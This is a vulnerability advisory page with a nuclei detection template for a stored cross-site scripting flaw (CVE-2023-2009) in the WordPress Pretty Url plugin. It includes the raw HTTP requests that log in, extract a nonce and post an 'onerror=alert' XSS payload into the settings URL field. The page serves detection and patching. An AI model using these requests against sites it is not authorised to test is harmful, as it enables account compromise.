Pretty Url <= 1.5.4 - Cross-Site Scripting

mediumseverity

4.8CVSS score

0.8%likelihood of exploitation, next 30 days

58%of all CVEs are less likely

Readycheck to confirm it

Plugin does not sanitize and escape the URL field in the plugin settings, which could allow high-privilege users to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).

Impact

High-privilege authenticated attackers can inject stored XSS through the URL field in plugin settings, potentially compromising other administrator accounts even when unfiltered_html capability is disabled in WordPress multisite setups.

Fix

Update Pretty Url plugin to a version newer than 1.5.4 that properly sanitizes and escapes the URL field in plugin settings to prevent stored XSS attacks.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=prettyurls ; POST /wp-admin/admin.php?page=prettyurls
Positive when: status_code_3 == 200 and contains(body_3, "<img src=x onerror=alert(document.domain)>") and contains(body_3, "prettyurls")

Run it with nuclei: nuclei -id CVE-2023-2009 -u <target>

The full check

id: CVE-2023-2009

info:
  name: Pretty Url <= 1.5.4 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Plugin does not sanitize and escape the URL field in the plugin settings, which could allow high-privilege users to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).
  impact: |
    High-privilege authenticated attackers can inject stored XSS through the URL field in plugin settings, potentially compromising other administrator accounts even when unfiltered_html capability is disabled in WordPress multisite setups.
  remediation: |
    Update Pretty Url plugin to a version newer than 1.5.4 that properly sanitizes and escapes the URL field in plugin settings to prevent stored XSS attacks.
  reference:
    - https://wpscan.com/vulnerability/f7988a18-ba9d-4ead-82c8-30ea8223846f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2009
    - https://wordpress.org/plugins/pretty-url/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2023-2009
    cwe-id: CWE-79
    epss-score: 0.00824
    epss-percentile: 0.57673
    cpe: cpe:2.3:a:pretty_url_project:pretty_url:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: pretty_url_project
    product: pretty_url
    framework: wordpress
  tags: cve2023,cve,wordpress,wpscan,wp-plugin,wp,authenticated,pretty-url,xss,pretty_url_project,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log=((username))&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=prettyurls HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin.php?page=prettyurls HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dprettyurls&id=&category=accordions%7Epost_type&url=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&meta_title=&meta_description=&meta_keyword=

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body_3, "<img src=x onerror=alert(document.domain)>")'
          - 'contains(body_3, "prettyurls")'
        condition: and

    extractors:
      - type: regex
        internal: true
        name: nonce
        part: body
        group: 1
        regex:
          - 'name="_wpnonce" value="([0-9a-z]+)" />'

References

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